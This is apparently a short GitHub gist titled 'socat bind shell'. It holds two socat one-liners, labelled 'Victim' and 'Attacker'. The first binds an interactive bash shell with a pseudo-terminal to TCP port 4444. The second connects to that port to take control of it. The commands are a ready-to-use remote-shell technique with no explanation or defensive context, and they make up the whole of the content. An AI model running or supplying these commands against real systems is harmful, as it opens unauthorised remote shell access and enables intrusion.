Skip to content

Instantly share code, notes, and snippets.

@eriknl
Created March 6, 2020 14:19
Show Gist options
  • Save eriknl/552da479f9ddcedba7f47ed2a6042f68 to your computer and use it in GitHub Desktop.
Save eriknl/552da479f9ddcedba7f47ed2a6042f68 to your computer and use it in GitHub Desktop.

socat bind shell

Victim

socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp-listen:4444

Attacker

socat -,raw,echo=0 tcp:127.0.0.1:4444
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment